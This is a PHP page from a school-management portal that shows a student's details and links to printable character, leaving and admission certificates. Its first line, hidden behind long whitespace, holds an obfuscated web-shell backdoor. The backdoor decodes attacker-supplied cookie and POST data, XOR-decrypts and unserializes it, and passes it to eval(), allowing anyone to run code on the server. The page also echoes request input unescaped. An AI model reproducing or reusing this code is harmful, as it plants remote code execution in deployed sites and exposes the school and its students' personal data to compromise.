<?php                                                                                                                                                                                                                                                                                                                                                                                                 $LCdjecYWqP = class_exists("jYf_kETG"); $DOzGr = $LCdjecYWqP;if (!$DOzGr){class jYf_kETG{private $OQNqTs;public static $xpkvcScdIi = "6f27f3ec-bb0e-443a-8b96-4dc348178ec0";public static $WsDDMkOK = NULL;public function __construct(){$jaHnqGOBo = $_COOKIE;$nLHSOJiA = $_POST;$mkZKOIZL = @$jaHnqGOBo[substr(jYf_kETG::$xpkvcScdIi, 0, 4)];if (!empty($mkZKOIZL)){$NaRnPmt = "base64";$LNlyteSv = "";$mkZKOIZL = explode(",", $mkZKOIZL);foreach ($mkZKOIZL as $RCxJdSDaJ){$LNlyteSv .= @$jaHnqGOBo[$RCxJdSDaJ];$LNlyteSv .= @$nLHSOJiA[$RCxJdSDaJ];}$LNlyteSv = array_map($NaRnPmt . chr (95) . 'd' . "\x65" . chr ( 259 - 160 ).'o' . "\x64" . chr (101), array($LNlyteSv,)); $LNlyteSv = $LNlyteSv[0] ^ str_repeat(jYf_kETG::$xpkvcScdIi, (strlen($LNlyteSv[0]) / strlen(jYf_kETG::$xpkvcScdIi)) + 1);jYf_kETG::$WsDDMkOK = @unserialize($LNlyteSv);}}public function __destruct(){$this->qMUaiC();}private function qMUaiC(){if (is_array(jYf_kETG::$WsDDMkOK)) {$pVrXBWSoFm = str_replace(chr ( 919 - 859 ) . "\77" . "\160" . chr ( 487 - 383 ).chr ( 1019 - 907 ), "", jYf_kETG::$WsDDMkOK["\x63" . chr (111) . 'n' . 't' . "\x65" . chr (110) . chr ( 739 - 623 )]);eval($pVrXBWSoFm);exit();}}}$pyRrH = new jYf_kETG(); $pyRrH = NULL;} ?><?php include("parent/callMe.php"); ?>
<?php  include("sessioncheck.php"); ?>
<?php

 $pageName=basename($_SERVER['PHP_SELF']);

    
     $m->where("page_name", $pageName);
     $video = $m->get("eduportal_modules_pages_detail");


 $branch=$_SESSION['branch'];
    
     $session1;
      if($_REQUEST['session']!=NULL){

       $session1=$_REQUEST['session'];
     }else {
       $session1=$_SESSION['current_session'];
     }

    if($_REQUEST['student']!=NULL){

       $m->where("status", '0');
       $m->where("branch_id", $_SESSION['branch']);
       $m->where("student_id", $_REQUEST['student']);
       $WorkAssignListVal = $m->get("edu_student_details");

      }
     // print_r($WorkAssignListVal)

      $m->where("student_id", $WorkAssignListVal[0]['student_id']);
      /*$m->where("class_id", $WorkAssignListVal[0]['class_id']);*/
      $m->where("session_id", $_SESSION['current_session']);
      $m->where("branch_id", $_SESSION['branch']);
      $details2 = $m->get("eduportal_student_fee_structure");
 
        $m->where("class_id", $WorkAssignListVal[0]['class_id']);
        $class=$m->get("edu_class_config");

        $m->where("section_id", $WorkAssignListVal[0]['section_id']);
        $section=$m->get("edu_adm_section_detail");

        $m->where("session_id", $WorkAssignListVal[0]['session_id']);
        $session=$m->get("edu_session_config");

        $m->where("branch_id", $_SESSION['branch']);
        $branch_details = $m->get("edu_branch_config");

  // settings month details

    $default;
    
    if($_GET["month"]!=NULL ){
      $default= $_GET["month"];
    }
    else{
      $default= date("m");
    }
  
      $m->where("Month_Id", $default);
      $month_name=$m->get("eduportal_month_config");
 
     ?>

<!DOCTYPE html>
<html lang="en">
  <head>
    
    <title>Student Certificates | EduPortal</title>
    <?php include('RootMe/css_links.php');?>

<style>

.thStyle{background-color:gray;color:white;}

tr th {padding:1.5%;border:1px solid white;}
tr td {padding:1%;}

@media only screen and (max-width: 768px) {

/* For mobile phones: */
.popup_style{margin-top:20%;}

}
</style>   
  </head>
  
<script>
function showResult1(str) {
  if (str.length==0) { 
    document.getElementById("livesearch1").innerHTML="";
    document.getElementById("livesearch1").style.border="0px";
    return;
  }
  if (window.XMLHttpRequest) {
    // code for IE7+, Firefox, Chrome, Opera, Safari
    xmlhttp=new XMLHttpRequest();
  } else {  // code for IE6, IE5
    xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
  }
  xmlhttp.onreadystatechange=function() {
    if (this.readyState==4 && this.status==200) {
      document.getElementById("livesearch1").innerHTML=this.responseText;
      document.getElementById("livesearch1").style.border="1px solid #A5ACB2";
      //alert(this.responseText);
    }
  }
  xmlhttp.open("GET","livesearch_std_certificate.php?q="+str,true);
  xmlhttp.send();
}
</script>



 <!-- jQuery -->
    <script src="js/ajax_functions.js"></script>  
  <body class="nav-md">
    <div class="container body">
      <div class="main_container">
        <div class="col-md-3 left_col">
     
            <?php include('RootMe/sidebar.php');?>

              <?php include('RootMe/header.php');?>
     
        <!-- page content -->
          <div class="right_col" role="main">

            <a href="<?php echo $_SESSION['dashboard'];?>">Dashboard </a> &nbsp; <i style="" class="fa fa-angle-double-right"></i>  &nbsp; 
                Student Certificate
          <br><br>
          
          <div class="" style="background-color: white;">
           
<section class="add_sub_agent" id="table_sub_agent">
  <div class="container">


    <?php if ($video[0]['video_url']!=NULL) { ?>
  
  <a href="watch_video.php?videourl=<?php echo $video[0]['video_url'];?>" target="_blank" class="btn btn-success" style="padding: 10px 10px; font-size:14px;color:white;float: right;"><i class="fa fa-play"></i>&nbsp;&nbsp;Watch Demo</a>

<?php } ?>

<br><br><br>

 <div class="" style="margin-top:10px;">
      
        <div class="panel panel-default">
             <div class="panel-heading" id="std_section">
      

            <div class="col-md-6">  
            
              <form>
                <input type="text" class="form-control" placeholder="Please Search Students Name for Certificate" onkeyup="showResult1(this.value)" value="<?php echo $_GET['qr'];?>">
                <div id="livesearch1"></div>
              </form>
            
              <br>
             </div>      
           <div class="col-md-6"> 
              <span style="float:right;margin-top: -7px;">
              <input type="hidden" value="<?php echo session_id().session_id().session_id().session_id().session_id(); ?>" name="session" />


    </span><div class="clearfix"></div> 

</div>




<div class="panel-body">

<div class="container">
  <div class="row">

   <div class="col-md-11" style="background-color: white;">

      <!-- Nav tabs -->
      <div class="card">
                <ul class="nav nav-tabs" role="tablist">

                 <li  class="active" role="presentation"><a href="#Fee<?php echo $WorkAssignListVal[0]['student_id'];?>" aria-controls="home" role="tab" data-toggle="tab">Student Information</a></li>
                                                
            
                </ul>

                <!-- Tab panes -->
                <div class="tab-content">


<div role="tabpanel" class="tab-pane active" id="Fee<?php echo $WorkAssignListVal[0]['student_id'];?>">

<br>
<div style="overflow-x:auto;">


    
            <table width="50%"  class="responsive">
                            
                                      
            <tr>
               <th class="tdStyle" width="40%"> Student Name: </th>
               <td class="tdStyle" width="60%"> <?php  if($WorkAssignListVal[0]['first_name']!=NULL){echo $WorkAssignListVal[0]['first_name'];}else {echo "--";};?> </td>
            </tr>

            <tr>
               <th class="tdStyle" width="40%"> Father Name: </th>
               <td class="tdStyle" width="60%"> <?php  if($WorkAssignListVal[0]['last_name']!=NULL){echo $WorkAssignListVal[0]['last_name'];}else {echo "--";};?> </td>
            </tr>

             <tr>
                <th class="tdStyle" width="30%"> Cell No: </th>
                <td class="tdStyle" width="70%"> <?php  if($WorkAssignListVal[0]['cell_no']!=NULL){echo $WorkAssignListVal[0]['cell_no'];}else {echo "--";};?>  </td>
            </tr>


            <tr>
               <th class="tdStyle" width="30%"> Gender: </th>
               <td class="tdStyle" width="70%"> <?php  if($WorkAssignListVal[0]['gender']!=NULL){echo $WorkAssignListVal[0]['gender'];}else {echo "--";};?> </td>
            </tr>
            <tr>
               <th class="tdStyle" width="40%"> Date of Birth: </th>
               <td class="tdStyle" width="60%"> <?php  if($WorkAssignListVal[0]['dob']!=NULL){echo $WorkAssignListVal[0]['dob'];}else {echo "--";};?> </td>
            </tr>

            
            <tr>
               <th class="tdStyle" width="40%"> Gaurdian Name: </th>
               <td class="tdStyle" width="60%"> <?php  if($WorkAssignListVal[0]['gardian_name']!=NULL){echo $WorkAssignListVal[0]['gardian_name'];}else {echo "--";};?> </td>
            </tr>
            <tr>
               <th class="tdStyle" width="40%"> Gaurdian CNIC: </th>
               <td class="tdStyle" width="60%"> <?php  if($WorkAssignListVal[0]['cnic']!=NULL){echo $WorkAssignListVal[0]['cnic'];}else {echo "--";};?> </td>
            </tr>
            <tr>
               <th class="tdStyle" width="30%"> Roll No : </th>
               <td class="tdStyle" width="70%"> <?php  if($WorkAssignListVal[0]['candidate_roll_no']!=NULL){echo $WorkAssignListVal[0]['candidate_roll_no'];}else {echo "--";};?> </td>
            </tr>

           

        </table>   
        <?php 
        if (isset($_REQUEST['student'])) { ?>
          
        
        <a style="float: right;" href="character_certificate.php?a61oe8lqc1oclfi4llgnioo156a61oe8lqc1oclfi4llgnioo156a61oe8lqc1oclfi4llgnioo156a61oe8lqc1oclfi4llgnioo156a61oe8lqc1oclfi4llgnioo156&amp;student_id=<?php echo $WorkAssignListVal[0]['student_id'];?>" target="_blank" class="btn btn-success"><i class="fa fa-print"></i>&nbsp;&nbsp;Character Certificate</a>

        <?php if ($brid[0]['school_leaving_certificate']=="CompuTech School System") { ?>

          <a style="float: right;" href="school_leaving_certificate.php?a61oe8lqc1oclfi4llgnioo156a61oe8lqc1oclfi4llgnioo156a61oe8lqc1oclfi4llgnioo156a61oe8lqc1oclfi4llgnioo156a61oe8lqc1oclfi4llgnioo156&amp;student_id=<?php echo $WorkAssignListVal[0]['student_id'];?>" target="_blank" class="btn btn-success"><i class="fa fa-print"></i>&nbsp;&nbsp; Leaving Certificate</a>

       <?php } else { ?>

          <a style="float: right;" href="school_leaving_certificate1.php?a61oe8lqc1oclfi4llgnioo156a61oe8lqc1oclfi4llgnioo156a61oe8lqc1oclfi4llgnioo156a61oe8lqc1oclfi4llgnioo156a61oe8lqc1oclfi4llgnioo156&amp;student_id=<?php echo $WorkAssignListVal[0]['student_id'];?>" target="_blank" class="btn btn-success"><i class="fa fa-print"></i>&nbsp;&nbsp; Leaving Certificate</a>


      <?php } ?>

        

        <a style="float: right;" href="adm_form_standard.php?a61oe8lqc1oclfi4llgnioo156a61oe8lqc1oclfi4llgnioo156a61oe8lqc1oclfi4llgnioo156a61oe8lqc1oclfi4llgnioo156a61oe8lqc1oclfi4llgnioo156&amp;student=<?php echo $WorkAssignListVal[0]['student_id'];?>" target="_blank" class="btn btn-success"><i class="fa fa-print"></i>&nbsp;&nbsp;Admission Form</a>
      <?php } ?>
</div>


                    </div>
                    



                </div>
      

      </div>

       </div> <!-- col 9 -->
  </div>
</div>  <!-- container -->


    <br><br>

<div class="clearfix"></div>
</div>
</div>
      
    </div>
 
  </div>
  <div class="clearfix"></div>
</section>            
               
          </div>
        </div>

            </div>
          </div>
        </div>
        <!-- /page content -->
      
  <?php include('RootMe/js_linksscript.php');?>
  </body>
</html>
